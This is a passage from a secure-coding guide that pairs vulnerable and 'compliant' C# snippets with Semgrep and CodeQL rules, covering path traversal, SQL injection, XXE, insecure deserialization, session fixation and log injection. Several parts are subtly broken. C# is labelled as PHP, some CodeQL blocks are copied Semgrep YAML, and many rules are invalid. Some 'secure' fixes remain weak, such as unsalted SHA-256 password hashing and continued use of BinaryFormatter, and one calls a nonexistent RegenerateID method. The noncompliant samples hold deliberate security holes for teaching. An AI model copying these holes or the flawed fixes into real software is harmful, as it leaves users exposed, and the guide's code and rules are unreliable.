SQL injection vulnerability: User input not properly parameterized" ``` CodeQL: ``` import csharp from BinaryExpression binaryExpr where binaryExpr.getLeftOperand().toString().startsWith("\"SELECT ") and binaryExpr.getOperator().toString() = "+" and binaryExpr.getRightOperand().toString().contains("\"") select binaryExpr ``` ## External Control of File Name or Path Noncompliant code: ```php using System; using System.IO; public class FileProcessor { public void ProcessFile(string fileName) { string filePath = "C:\\Temp\\" + fileName; if (File.Exists(filePath)) { // Process the file } else { Console.WriteLine("File not found."); } } } ``` In this noncompliant code, the ProcessFile method constructs the file path by directly concatenating the fileName parameter with a fixed base directory (C:\Temp\). This approach is vulnerable to external control of the file name, as an attacker can manipulate the fileName input to access files outside the intended directory. To prevent external control of file name or path attacks and ensure secure file operations, here's an example of compliant code: Compliant code: ```php using System; using System.IO; public class FileProcessor { private readonly string baseDirectory = "C:\\Temp\\"; public void ProcessFile(string fileName) { string sanitizedFileName = Path.GetFileName(fileName); string filePath = Path.Combine(baseDirectory, sanitizedFileName); if (File.Exists(filePath)) { // Process the file } else { Console.WriteLine("File not found."); } } } ``` In the compliant code, the Path.GetFileName method is used to extract the file name from the fileName parameter, discarding any directory information. The Path.Combine method is then used to construct the full file path by combining the base directory (C:\Temp\) with the sanitized file name. By using these secure file path handling techniques, the compliant code ensures that the file name or path provided by the user is properly validated and prevents unauthorized access to files outside the intended directory. Semgrep: ``` rules: - id: path-traversal patterns: - pattern: 'C:\\Temp\\\\' message: "Potential path traversal vulnerability: Unsanitized file path concatenation" ``` CodeQL: ``` import csharp from Addition addExpr where addExpr.getLeftOperand().toString() = "\"C:\\Temp\\" and addExpr.getOperator().toString() = "+" and addExpr.getRightOperand().toString().contains("\"") select addExpr ``` ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php using System; public class UserController { public void AuthenticateUser(string username, string password) { if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password)) { throw new ArgumentException("Invalid username or password."); } // Authenticate the user } } ``` In this noncompliant code, when the AuthenticateUser method receives an empty or null username or password, it throws an ArgumentException with an error message that discloses sensitive information ("Invalid username or password"). Revealing such details in error messages can assist attackers in identifying valid usernames and potentially launch further attacks. To address this issue and prevent exposure of sensitive information, here's an example of compliant code: Compliant code: ```php using System; public class UserController { public void AuthenticateUser(string username, string password) { if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password)) { throw new ArgumentException("Invalid credentials."); } // Authenticate the user } } ``` In the compliant code, the error message has been generalized to "Invalid credentials" instead of explicitly mentioning the username or password. This approach avoids revealing sensitive information in error messages, making it harder for attackers to gather useful details. By following this approach, the compliant code ensures that error messages do not disclose sensitive information, thus reducing the risk of potential attacks targeting user credentials. Semgrep: ``` rules: - id: empty-username-password patterns: - pattern: 'string.IsNullOrEmpty\({{ _ }}\)' message: "Potential issue: Empty or null username or password" ``` CodeQL: ``` import csharp from Invocation invocation where invocation.getTarget().toString() = "string.IsNullOrEmpty" and invocation.getArgument(0).toString() = "{{ _ }}" select invocation ``` ## unprotected storage of credentials Noncompliant code: ```php using System; public class UserController { private string _username; private string _password; public void SetCredentials(string username, string password) { _username = username; _password = password; } public void AuthenticateUser() { // Authenticate the user using the stored credentials } } ``` In this noncompliant code, the SetCredentials method stores the username and password provided by the user in class-level variables `_username` and `_password`, respectively. However, these credentials are stored in plain text without any additional protection, such as encryption or secure storage mechanisms. This leaves the sensitive information vulnerable to unauthorized access if an attacker gains access to the application or the system. To address this security issue and ensure the protected storage of credentials, here's an example of compliant code: Compliant code: ```php using System; using System.Security.Cryptography; public class UserController { private byte[] _encryptedCredentials; public void SetCredentials(string username, string password) { byte[] encryptedUsername = EncryptData(username); byte[] encryptedPassword = EncryptData(password); _encryptedCredentials = CombineArrays(encryptedUsername, encryptedPassword); } public void AuthenticateUser() { // Decrypt and use the stored credentials for user authentication string decryptedUsername = DecryptData(GetUsernameFromEncryptedCredentials()); string decryptedPassword = DecryptData(GetPasswordFromEncryptedCredentials()); // Authenticate the user using the decrypted credentials } private byte[] EncryptData(string data) { // Use a secure encryption algorithm (e.g., AES) to encrypt the data // and return the encrypted byte array // ... } private string DecryptData(byte[] encryptedData) { // Use the same encryption algorithm and decryption process // to decrypt the data and return the plaintext // ... } private byte[] CombineArrays(byte[] array1, byte[] array2) { // Combine two byte arrays into one // ... } private byte[] GetUsernameFromEncryptedCredentials() { // Extract and return the encrypted username from the stored credentials // ... } private byte[] GetPasswordFromEncryptedCredentials() { // Extract and return the encrypted password from the stored credentials // ... } } ``` In the compliant code, the sensitive information (username and password) is no longer stored directly as plain text. Instead, the SetCredentials method encrypts the username and password using a secure encryption algorithm (such as AES) before storing them in the _encryptedCredentials variable. The AuthenticateUser method then retrieves and decrypts the credentials for authentication purposes. By encrypting the credentials, the compliant code ensures that even if an attacker gains unauthorized access to the stored credentials, they would be in an encrypted form, significantly reducing the risk of exposing sensitive information. Semgrep: ``` rules: - id: insecure-credentials-storage patterns: - pattern: '_username = {{ _ }}' - pattern: '_password = {{ _ }}' message: "Potential security issue: Credentials stored in memory" ``` CodeQL: ``` import csharp class StoredCredentials extends FieldAccess { StoredCredentials() { this.getTarget().toString().matches("_username") or this.getTarget().toString().matches("_password") } } from StoredCredentials access select access ``` ## Trust Boundary Violation Noncompliant code: ```php using System; public class PaymentController { private string _creditCardNumber; public void ProcessPayment(string creditCardNumber) { _creditCardNumber = creditCardNumber; // Process the payment using the credit card number } } ``` In this noncompliant code, the ProcessPayment method accepts a credit card number as a parameter and directly stores it in the _creditCardNumber variable within the PaymentController class. The credit card number is treated as trusted data within the class, even though it comes from an external source. This violates the trust boundary by assuming the data is safe and trustworthy, which can lead to potential security vulnerabilities. To address this security issue and enforce a proper trust boundary, here's an example of compliant code: Compliant code: ```php using System; public class PaymentController { public void ProcessPayment(string creditCardNumber) { // Perform input validation and sanitization of the credit card number if (IsValidCreditCardNumber(creditCardNumber)) { // Process the payment using the credit card number } else { // Handle the case when an invalid credit card number is provided } } private bool IsValidCreditCardNumber(string creditCardNumber) { // Implement proper credit card number validation logic // to ensure the input meets the required format and integrity // ... } } ``` In the compliant code, the ProcessPayment method performs input validation and sanitization of the credit card number before processing the payment. The method checks if the credit card number is valid by calling the IsValidCreditCardNumber function, which implements the necessary validation logic to ensure the input meets the required format and integrity. By implementing proper input validation and sanitization, the compliant code establishes a trust boundary and ensures that only valid and trusted data is processed, reducing the risk of security vulnerabilities arising from untrusted or malicious input. Semgrep: ``` rules: - id: insecure-credit-card-storage patterns: - pattern: '_creditCardNumber = {{ _ }}' message: "Potential security issue: Credit card number stored in memory" ``` CodeQL: ``` import csharp class StoredCreditCardNumber extends FieldAccess { StoredCreditCardNumber() { this.getTarget().toString().matches("_creditCardNumber") } } from StoredCreditCardNumber access select access ``` ## Insufficiently Protected Credentials Noncompliant code: ```php using System; public class LoginController { private string _username; private string _password; public bool Authenticate(string username, string password) { _username = username; _password = password; // Perform authentication logic // ... return true; } } ``` In this noncompliant code, the Authenticate method accepts a username and password as parameters and directly stores them in the _username and _password variables within the LoginController class. The credentials are stored in plain text without any additional protection mechanisms such as encryption or hashing. Storing credentials in plain text increases the risk of unauthorized access and potential data breaches if the credentials are compromised. To address this security issue and ensure the proper protection of credentials, here's an example of compliant code: Compliant code: ```php using System; using System.Security.Cryptography; public class LoginController { public bool Authenticate(string username, string password) { string hashedPassword = HashPassword(password); // Perform authentication logic using the hashed password // ... return true; } private string HashPassword(string password) { using (SHA256 sha256 = SHA256.Create()) { byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password); byte[] hashedBytes = sha256.ComputeHash(passwordBytes); return Convert.ToBase64String(hashedBytes); } } } ``` In the compliant code, the Authenticate method still accepts a username and password as parameters, but instead of storing them directly, the password is hashed using a secure cryptographic hash function (in this case, SHA-256). The HashPassword function takes the password as input, generates a hash value, and returns the hashed password as a string. By hashing the password, the compliant code ensures that the credentials are not stored in plain text and adds an additional layer of protection. When performing authentication, the stored hashed password is compared with the hashed version of the user's input, rather than comparing the plain-text passwords directly. Using proper password hashing techniques helps mitigate the impact of data breaches and unauthorized access, as even if the stored hashes are obtained, they are computationally difficult to reverse back to the original password. Semgrep: ``` rules: - id: insecure-sensitive-data-storage patterns: - pattern: '_username = {{ _ }}' - pattern: '_password = {{ _ }}' message: "Potential security issue: Sensitive data stored in memory" ``` CodeQL: ``` rules: - id: insecure-sensitive-data-storage patterns: - pattern: '_username = {{ _ }}' - pattern: '_password = {{ _ }}' message: "Potential security issue: Sensitive data stored in memory" ``` ## Restriction of XML External Entity Reference Noncompliant code: ```php using System; using System.Xml; public class XmlParser { public void ParseXml(string xmlContent) { XmlDocument xmlDoc = new XmlDocument(); xmlDoc.LoadXml(xmlContent); // Process the XML document // ... } } ``` In this noncompliant code, the ParseXml method takes an XML content as a string and loads it into an XmlDocument object using the LoadXml method. However, this code does not enforce any restriction on external entity references, making it vulnerable to XXE attacks. To address this security issue and restrict XML external entity references, here's an example of compliant code: Compliant code: ```php using System; using System.Xml; public class XmlParser { public void ParseXml(string xmlContent) { XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; using (XmlReader reader = XmlReader.Create(new System.IO.StringReader(xmlContent), settings)) { XmlDocument xmlDoc = new XmlDocument(); xmlDoc.Load(reader); // Process the XML document // ... } } } ``` In the compliant code, the ParseXml method sets up an instance of XmlReaderSettings and explicitly sets the DtdProcessing property to DtdProcessing.Prohibit. This setting prevents the parsing of any external entities defined in the XML content, effectively mitigating XXE attacks. By enforcing this restriction, the compliant code ensures that XML parsing is performed without evaluating external entity references, thus protecting against potential attacks that leverage XXE vulnerabilities. Semgrep: ``` rules: - id: xml-parsing-insecure pattern: | XmlDocument xmlDoc = new XmlDocument(); xmlDoc.LoadXml({{ _ }}); message: "Potential security issue: Insecure XML parsing" ``` CodeQL: ``` import csharp class InsecureXmlParsing extends MethodCall { InsecureXmlParsing() { this.getTarget().toString().matches("XmlDocument.LoadXml") } } from InsecureXmlParsing call select call ``` ## Vulnerable and Outdated Components Noncompliant code: ```php using System; using Newtonsoft.Json; public class UserData { public string Name { get; set; } public string Email { get; set; } } public class UserController { public void GetUserDetails() { // Fetch user data from the database UserData user = Database.GetUserDetails(); // Convert user data to JSON string json = JsonConvert.SerializeObject(user); // Send the JSON response to the client HttpResponse.Write(json); } } ``` In this noncompliant code, the UserController fetches user data from the database and converts it to JSON using the JsonConvert.SerializeObject method from the Newtonsoft.Json library. However, the code uses an outdated version of the library, which may contain known vulnerabilities. To address this security issue and ensure the usage of secure and up-to-date components, here's an example of compliant code: Compliant code: ```php using System; using System.Text.Json; public class UserData { public string Name { get; set; } public string Email { get; set; } } public class UserController { public void GetUserDetails() { // Fetch user data from the database UserData user = Database.GetUserDetails(); // Convert user data to JSON string json = JsonSerializer.Serialize(user); // Send the JSON response to the client HttpResponse.Write(json); } } ``` In the compliant code, the UserController uses the built-in System.Text.Json namespace instead of the Newtonsoft.Json library. By leveraging the latest version of the built-in JSON serializer, the code ensures the usage of secure and up-to-date components. It is crucial to regularly update and replace vulnerable or outdated components with their latest versions or more secure alternatives to mitigate potential security risks. Semgrep: ``` rules: - id: json-serialization-insecure pattern: | JsonConvert.SerializeObject({{ _ }}); message: "Potential security issue: Insecure JSON serialization" ``` CodeQL: ``` import csharp class InsecureJsonSerialization extends MethodCall { InsecureJsonSerialization() { this.getTarget().toString().matches("JsonConvert.SerializeObject") } } from InsecureJsonSerialization call select call ``` ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php using System; using System.Net.Http; public class HttpClientExample { public void SendRequest() { // Create HttpClient instance HttpClient client = new HttpClient(); // Disable SSL certificate validation ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; // Send a request to a remote server HttpResponseMessage response = client.GetAsync("https://example.com").Result; // Process the response if (response.IsSuccessStatusCode) { // Do something with the successful response Console.WriteLine("Request succeeded!"); } else { // Handle the error response Console.WriteLine("Request failed!"); } } } ``` In this noncompliant code, the HttpClientExample class sends a request to a remote server using the HttpClient class. However, the code disables SSL certificate validation by modifying the ServicePointManager.ServerCertificateValidationCallback event to always return true. This means that the code will accept any certificate, even if it has a host mismatch, expired, or has other security issues. To address this security issue and ensure proper validation of certificates with host matches, here's an example of compliant code: Compliant code: ```php using System; using System.Net.Http; public class HttpClientExample { public void SendRequest() { // Create HttpClient instance HttpClient client = new HttpClient(); // Enable SSL certificate validation ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => { if (sslPolicyErrors == SslPolicyErrors.None) return true; // Check if the certificate matches the host string requestedHost = new Uri("https://example.com").Host; return certificate.Subject.Equals($"CN={requestedHost}", StringComparison.OrdinalIgnoreCase); }; // Send a request to a remote server HttpResponseMessage response = client.GetAsync("https://example.com").Result; // Process the response if (response.IsSuccessStatusCode) { // Do something with the successful response Console.WriteLine("Request succeeded!"); } else { // Handle the error response Console.WriteLine("Request failed!"); } } } ``` In the compliant code, the ServicePointManager.ServerCertificateValidationCallback event is modified to perform proper certificate validation. It checks if the certificate subject matches the requested host, ensuring that the certificate is valid and not subject to host mismatch vulnerabilities. By properly validating certificates with host matches, the compliant code reduces the risk of man-in-the-middle attacks and other security vulnerabilities associated with improper certificate validation. Semgrep: ``` rules: - id: disable-ssl-certificate-validation pattern: | ServicePointManager.ServerCertificateValidationCallback += {{ _ }}; message: "Potential security issue: Disabling SSL certificate validation" ``` CodeQL: ``` import csharp class DisableSSLCertificateValidation extends MethodCall { DisableSSLCertificateValidation() { this.getTarget().toString().matches("ServicePointManager.ServerCertificateValidationCallback +=") } } from DisableSSLCertificateValidation call select call ``` ## Improper Authentication Noncompliant code: ```php using System; using System.Data.SqlClient; public class AuthenticationExample { public bool AuthenticateUser(string username, string password) { string connectionString = "Data Source=...;Initial Catalog=...;User ID=...;Password=..."; // Construct the SQL query with user-provided input string query = $"SELECT * FROM Users WHERE Username = '{username}' AND Password = '{password}'"; using (SqlConnection connection = new SqlConnection(connectionString)) { SqlCommand command = new SqlCommand(query, connection); // Open the connection connection.Open(); // Execute the query SqlDataReader reader = command.ExecuteReader(); // Check if the user exists bool userExists = reader.HasRows; // Close the connection connection.Close(); return userExists; } } } ``` In this noncompliant code, the AuthenticateUser method performs authentication by constructing a SQL query with user-provided input for the username and password. This code is susceptible to SQL injection attacks, as the user input is directly concatenated into the query string without proper sanitization or parameterization. To address this security issue and ensure proper authentication, here's an example of compliant code that uses parameterized queries: Compliant code: ```php using System; using System.Data.SqlClient; public class AuthenticationExample { public bool AuthenticateUser(string username, string password) { string connectionString = "Data Source=...;Initial Catalog=...;User ID=...;Password=..."; // Construct the parameterized SQL query string query = "SELECT * FROM Users WHERE Username = @username AND Password = @password"; using (SqlConnection connection = new SqlConnection(connectionString)) { SqlCommand command = new SqlCommand(query, connection); // Add parameters to the command command.Parameters.AddWithValue("@username", username); command.Parameters.AddWithValue("@password", password); // Open the connection connection.Open(); // Execute the query SqlDataReader reader = command.ExecuteReader(); // Check if the user exists bool userExists = reader.HasRows; // Close the connection connection.Close(); return userExists; } } } ``` In the compliant code, the SQL query is parameterized, and the user-provided input is passed as parameters to the SqlCommand object. This ensures that the input is properly handled and prevents SQL injection attacks by treating the input as data rather than executable code. By using parameterized queries, the compliant code mitigates the risk of SQL injection and ensures proper authentication of users. Semgrep: ``` rules: - id: sql-injection pattern: | SqlCommand command = new SqlCommand({{ query }}, {{ connection }}); message: "Potential SQL injection vulnerability" ``` CodeQL: ``` import csharp class SQLInjection extends MethodCall { SQLInjection() { this.getTarget().toString().matches("SqlCommand SqlCommand(SqlConnection, String)") or this.getTarget().toString().matches("SqlCommand SqlCommand(SqlConnection, String, SqlConnection)") } } from SQLInjection call, DataFlow::PathNode query where query.asExpr().getValue().toString().matches(".*[\"'].*") select query, call ``` ## Session Fixation Noncompliant code: ```php using System; using System.Web; public class SessionFixationExample { public void Login(string username) { // Create a new session HttpSessionState session = HttpContext.Current.Session; // Set the username in the session session["username"] = username; } public bool IsUserAuthenticated() { // Retrieve the session HttpSessionState session = HttpContext.Current.Session; // Check if the username exists in the session return session["username"] != null; } } ``` In this noncompliant code, the Login method creates a new session and sets the username provided by the user. However, the session ID remains the same throughout the user's session, making it vulnerable to session fixation attacks. An attacker can force a user to use a specific session ID, potentially compromising the user's session. To address this security issue and prevent session fixation attacks, here's an example of compliant code that regenerates the session ID after successful authentication: Compliant code: ```php using System; using System.Web; public class SessionFixationExample { public void Login(string username) { // Create a new session HttpSessionState session = HttpContext.Current.Session; // Set the username in the session session["username"] = username; // Regenerate the session ID session.RegenerateID(); } public bool IsUserAuthenticated() { // Retrieve the session HttpSessionState session = HttpContext.Current.Session; // Check if the username exists in the session return session["username"] != null; } } ``` In the compliant code, after setting the username in the session, the session ID is regenerated using the RegenerateID method. This ensures that a new session ID is generated after successful authentication, effectively preventing session fixation attacks. By regenerating the session ID, the compliant code mitigates the risk of session fixation and ensures that each user is assigned a unique session ID upon authentication. Semgrep: ``` rules: - id: session-fixation pattern: | HttpSessionState session = HttpContext.Current.Session; message: "Potential session fixation vulnerability" ``` CodeQL: ``` import csharp class SessionFixation extends MethodAccess { SessionFixation() { this.getTarget().toString().matches("HttpSessionState HttpSessionState(HttpContext)") } } from SessionFixation call, DataFlow::PathNode session select session, call ``` ## Inclusion of Functionality from Untrusted Control Noncompliant code: ```php using System; using System.Diagnostics; using System.IO; public class FileUploader { public void UploadFile(string filename, byte[] fileData) { // Save the uploaded file to a specified directory string savePath = "C:\\Uploads\\" + filename; File.WriteAllBytes(savePath, fileData); // Execute a command on the uploaded file string command = "C:\\Windows\\System32\\cmd.exe /C echo File uploaded successfully!"; Process.Start(command, savePath); } } ``` In this noncompliant code, the UploadFile method accepts a file name and its corresponding data as input. The file is saved to a specified directory without proper validation or sanitization. After saving the file, a command is executed on the uploaded file using Process.Start. This code is vulnerable to arbitrary code execution, as an attacker can upload a malicious file and execute arbitrary commands on the server. To address this security issue and prevent the inclusion of functionality from untrusted control, here's an example of compliant code that restricts the uploaded file's execution: Compliant code: ```php using System; using System.Diagnostics; using System.IO; public class FileUploader { public void UploadFile(string filename, byte[] fileData) { // Validate and sanitize the filename string sanitizedFilename = SanitizeFilename(filename); if (sanitizedFilename == null) { // Invalid filename, abort the upload return; } // Save the uploaded file to a specified directory string savePath = "C:\\Uploads\\" + sanitizedFilename; File.WriteAllBytes(savePath, fileData); // Perform other operations on the uploaded file (e.g., logging, virus scanning) // Notify the user about the successful upload Console.WriteLine("File uploaded successfully!"); } private string SanitizeFilename(string filename) { // Implement proper filename validation and sanitization logic // Ensure that the filename conforms to your desired format and does not contain any malicious characters or path traversal sequences // Example implementation: removing any path information and disallowing specific characters string sanitizedFilename = Path.GetFileName(filename); if (sanitizedFilename.IndexOfAny(Path.GetInvalidFileNameChars()) != -1) { // Invalid filename, return null return null; } return sanitizedFilename; } } ``` In the compliant code, several improvements have been made to ensure the security of the file upload functionality. The filename is validated and sanitized using the SanitizeFilename method, which removes any path information and disallows specific characters. If the filename is deemed invalid or contains malicious content, the upload is aborted. Furthermore, the code no longer executes arbitrary commands on the uploaded file. Instead, it performs other necessary operations such as logging or virus scanning. Finally, the user is notified about the successful upload without exposing the server to potential security risks. Semgrep: ``` rules: - id: directory-traversal pattern: File.WriteAllBytes($savePath, $fileData) message: "Potential directory traversal vulnerability when saving file" ``` CodeQL: ``` rules: - id: directory-traversal pattern: File.WriteAllBytes($savePath, $fileData) message: "Potential directory traversal vulnerability when saving file" ``` ## Download of Code Without Integrity Check Noncompliant code: ```php using System; using System.Net; public class CodeDownloader { public void DownloadCode(string url) { using (WebClient client = new WebClient()) { string code = client.DownloadString(url); // Execute the downloaded code ExecuteCode(code); } } private void ExecuteCode(string code) { // Execute the downloaded code without performing an integrity check Console.WriteLine("Executing downloaded code: " + code); // ... } } ``` In this noncompliant code, the DownloadCode method downloads code from a specified URL using the WebClient class. Once the code is downloaded, it is immediately executed without performing any integrity check or validation. This approach introduces the risk of executing malicious or untrusted code, which can lead to security vulnerabilities and compromise the system. To address this security issue and ensure the integrity of the downloaded code, here's an example of compliant code that includes an integrity check: Compliant code: ```php using System; using System.Net; using System.Security.Cryptography; using System.Text; public class CodeDownloader { public void DownloadCode(string url) { using (WebClient client = new WebClient()) { byte[] downloadedData = client.DownloadData(url); // Verify the integrity of the downloaded code if (IsCodeIntegrityValid(downloadedData)) { string code = Encoding.UTF8.GetString(downloadedData); // Execute the downloaded code ExecuteCode(code); } else { Console.WriteLine("Code integrity check failed. Aborting execution."); } } } private bool IsCodeIntegrityValid(byte[] downloadedData) { // Implement integrity check logic here // For example, calculate the hash of the downloaded code and compare it with a trusted hash value using (SHA256 sha256 = SHA256.Create()) { byte[] hash = sha256.ComputeHash(downloadedData); // Compare the calculated hash with the trusted hash value byte[] trustedHash = GetTrustedHash(); // Retrieve the trusted hash value from a secure source return ByteArrayEquals(hash, trustedHash); } } private bool ByteArrayEquals(byte[] array1, byte[] array2) { // Compare two byte arrays for equality if (array1.Length != array2.Length) return false; for (int i = 0; i < array1.Length; i++) { if (array1[i] != array2[i]) return false; } return true; } private void ExecuteCode(string code) { // Execute the downloaded code Console.WriteLine("Executing downloaded code: " + code); // ... } } ``` In the compliant code, additional measures have been implemented to ensure the integrity of the downloaded code. The DownloadData method is used instead of DownloadString to retrieve the code as a byte array. The IsCodeIntegrityValid method calculates the hash of the downloaded code using a secure hashing algorithm (SHA-256 in this example) and compares it with a trusted hash value obtained from a secure source. If the integrity check passes, the code is converted to a string and then executed. Otherwise, if the integrity check fails, the code execution is aborted. This approach ensures that only code with a valid integrity can be executed, mitigating the risk of downloading and executing malicious or tampered code. Semgrep: ``` rules: - id: insecure-code-download pattern: WebClient().DownloadString($url) message: "Potential security risk: Insecure code download" ``` CodeQL: ``` import csharp class CodeDownload extends MethodCall { CodeDownload() { this.getTarget().toString().matches("WebClient().DownloadString($url)") } } from CodeDownload select CodeDownload ``` ## Deserialization of Untrusted Data Noncompliant code: ```php using System; using System.IO; using System.Runtime.Serialization.Formatters.Binary; public class DataDeserializer { public object DeserializeData(byte[] data) { BinaryFormatter formatter = new BinaryFormatter(); MemoryStream memoryStream = new MemoryStream(data); // Deserialize the untrusted data object deserializedData = formatter.Deserialize(memoryStream); return deserializedData; } } ``` In this noncompliant code, the DeserializeData method deserializes the provided byte[] data using the BinaryFormatter class without performing any validation or security checks. Deserializing untrusted data without proper validation can lead to serious security vulnerabilities, including remote code execution and object injection attacks. To address this security issue and ensure the safe deserialization of data, here's an example of compliant code: Semgrep: ``` rules: - id: insecure-data-deserialization pattern: BinaryFormatter().Deserialize($stream) message: "Potential security risk: Insecure data deserialization" ``` CodeQL: ``` import csharp class DataDeserialization extends MethodCall { DataDeserialization() { this.getTarget().toString().matches("BinaryFormatter().Deserialize($stream)") } } from DataDeserialization select DataDeserialization ``` Compliant code: ```php using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; public class DataDeserializer { public object DeserializeData(byte[] data) { BinaryFormatter formatter = new BinaryFormatter(); // Set up a custom SerializationBinder to restrict deserialization to trusted types formatter.Binder = new TrustedSerializationBinder(); using (MemoryStream memoryStream = new MemoryStream(data)) { try { // Deserialize the data with proper validation object deserializedData = formatter.Deserialize(memoryStream); // Perform additional validation on the deserialized object, if required return deserializedData; } catch (SerializationException ex) { Console.WriteLine("Error occurred during deserialization: " + ex.Message); } catch (Exception ex) { Console.WriteLine("Unexpected error occurred: " + ex.Message); } } return null; } } // Custom SerializationBinder to restrict deserialization to trusted types public class TrustedSerializationBinder : SerializationBinder { public override Type BindToType(string assemblyName, string typeName) { // Check if the requested type is trusted if (IsTypeTrusted(typeName)) { // Return the trusted type for deserialization Type trustedType = GetTypeFromTrustedAssembly(typeName); return trustedType; } // For untrusted types, throw an exception or return null to prevent deserialization throw new SerializationException("Attempted deserialization of untrusted type: " + typeName); } private bool IsTypeTrusted(string typeName) { // Implement your logic to determine if the type is trusted // For example, maintain a whitelist of trusted types // Return true if the type is trusted, false otherwise // ... } private Type GetTypeFromTrustedAssembly(string typeName) { // Retrieve the trusted type from a known and trusted assembly // For example, look up the type in a predefined assembly // Return the Type object for the trusted type // ... } } ``` In the compliant code, several measures have been taken to ensure the safe deserialization of data. First, a custom SerializationBinder is implemented to restrict deserialization to trusted types. The BindToType method in the TrustedSerializationBinder class is called during deserialization and checks if the requested type is trusted. If the type is trusted, it returns the corresponding Type object for deserialization. Otherwise, it throws a SerializationException to prevent the deserialization of untrusted types. Additionally, exception handling is implemented to catch any potential errors during deserialization and provide appropriate error messages. Semgrep: ``` rules: - id: secure-data-deserialization pattern: BinaryFormatter().{ Deserialize($stream), Deserialize($stream, out _) } message: "Ensure secure data deserialization" ``` CodeQL: ``` import csharp class DataDeserialization extends MethodCall { DataDeserialization() { this.getTarget().toString().matches("BinaryFormatter().{ Deserialize($stream), Deserialize($stream, out _) }") } } class DeserializationExceptionHandling extends TryStatement { DeserializationExceptionHandling() { getBody() instanceof Block and getBody().getChildren().get(0) instanceof ThrowStatement and getBody().getChildren().get(1) instanceof CatchClause } } from DataDeserialization d, DeserializationExceptionHandling e where d.getAncestor(Statement+) = e.getAncestor(Statement+) select d, e ``` ## Insufficient Logging Noncompliant code: ```php using System; public class PaymentProcessor { public void ProcessPayment(double amount, string creditCardNumber) { // Process the payment logic try { // Perform payment processing // Log a success message Console.WriteLine("Payment processed successfully."); } catch (Exception ex) { // Log the exception message only Console.WriteLine("Payment processing failed. Exception: " + ex.Message); } } } ``` In this noncompliant code, the ProcessPayment method performs payment processing but lacks sufficient logging. The code only logs the exception message when an error occurs during payment processing, providing limited information for troubleshooting and investigation. To address this issue and improve logging, here's an example of compliant code: Compliant code: ```php using System; using System.IO; public class PaymentProcessor { private readonly ILogger logger; public PaymentProcessor(ILogger logger) { this.logger = logger; } public void ProcessPayment(double amount, string creditCardNumber) { try { // Perform payment processing // Log a success message with detailed information string logMessage = $"Payment processed successfully. Amount: {amount}, Credit Card: {MaskCreditCardNumber(creditCardNumber)}"; logger.LogInfo(logMessage); } catch (Exception ex) { // Log the exception with detailed information string errorMessage = $"Payment processing failed. Amount: {amount}, Credit Card: {MaskCreditCardNumber(creditCardNumber)}, Exception: {ex}"; logger.LogError(errorMessage); } } private string MaskCreditCardNumber(string creditCardNumber) { // Implement logic to mask sensitive information // For example, replace all but the last four digits with asterisks int maskLength = creditCardNumber.Length - 4; string maskedNumber = new string('*', maskLength) + creditCardNumber.Substring(maskLength); return maskedNumber; } } public interface ILogger { void LogInfo(string message); void LogError(string message); } ``` In the compliant code, a separate ILogger interface is introduced to handle logging functionality. The PaymentProcessor class now receives an instance of ILogger via dependency injection. The ProcessPayment method logs a success message with detailed information when the payment processing is successful. It includes the payment amount and a masked credit card number to avoid logging sensitive information. When an exception occurs during payment processing, the code logs an error message that includes the payment amount, masked credit card number, and the exception details. This provides more comprehensive logging for troubleshooting and investigation purposes. Note: The implementation of the ILogger interface is not provided in the code snippet as it can vary based on the logging framework or storage mechanism used in your application. Semgrep: ``` rules: - id: secure-payment-processing pattern: | try { $processPaymentExpr } catch (Exception $ex) { Console.WriteLine("Payment processing failed. Exception: " + $ex.Message); } message: "Ensure secure payment processing" ``` CodeQL: ``` import csharp class PaymentProcessing extends TryStatement { PaymentProcessing() { getBody() instanceof Block and getBody().getChildren().get(0) instanceof ExpressionStatement and getBody().getChildren().get(0).getChildren().get(0).toString().matches("$processPaymentExpr") } } from PaymentProcessing p select p ``` ## Improper Output Neutralization for Logs Noncompliant code: ```php using System; public class LoginController { private readonly ILogger logger; public LoginController(ILogger logger) { this.logger = logger; } public void LogUserLogin(string username) { // Log the user login logger.LogInfo("User login: " + username); } } ``` In this noncompliant code, the LogUserLogin method logs the user login by concatenating the username directly into the log message. This can lead to log injection vulnerabilities if the username contains special characters that can alter the log format or content. To address this issue and ensure proper output neutralization, here's an example of compliant code: Compliant code: ```php using System; public class LoginController { private readonly ILogger logger; public LoginController(ILogger logger) { this.logger = logger; } public void LogUserLogin(string username) { // Log the user login with neutralized output string logMessage = $"User login: {NeutralizeLogOutput(username)}"; logger.LogInfo(logMessage); } private string NeutralizeLogOutput(string input) { // Implement logic to neutralize special characters or control characters in the log output // For example, replace newlines, carriage returns, or other potentially dangerous characters string neutralizedOutput = input.Replace("\r", "").Replace("\n", ""); return neutralizedOutput; } } public interface ILogger { void LogInfo(string message); } ``` In the compliant code, the LogUserLogin method uses string interpolation to construct the log message, ensuring proper output neutralization. The NeutralizeLogOutput method is introduced to neutralize any special characters or control characters that could pose a security risk when included in the log output. In this example, newlines and carriage returns are removed from the username before logging. By neutralizing the log output, the compliant code mitigates the risk of log injection vulnerabilities and ensures that the log messages accurately represent the intended content without any unintended effects on the log system. Semgrep: ``` rules: - id: improper-output-neutralization pattern: | using System; public class LoginController { private readonly ILogger logger; public LoginController(ILogger logger) { this.logger = logger; } public void LogUserLogin(string username) { // Log the user login logger.LogInfo("User login: " + $username); } } ``` CodeQL: ``` import csharp from MethodAccess ma, MethodAccess ma2, StringConcatenation concat where ma.getTarget().getType().getQualifiedName() = "ILogger" and ma.getTarget().hasQualifiedName("ILogger", "LogInfo") and ma2.getTarget().getType().getQualifiedName() = "LoginController" and ma2.getTarget().getName() = "LogUserLogin" and concat.getAnOperand() = ma2.getTarget() and concat.getParent*().getAPrimaryQlClass() instanceof ExpressionStatement select ma2, "Improper output neutralization for logs" ``` ## Omission of Security-relevant Information Noncompliant code: ```php using System; public class PaymentController { private readonly ILogger logger; public PaymentController(ILogger logger) { this.logger = logger; } public void ProcessPayment(decimal amount) { // Process payment logic try { // Payment processing code here... logger.LogInfo("Payment processed successfully"); } catch (Exception ex) { logger.LogError("Payment processing failed"); 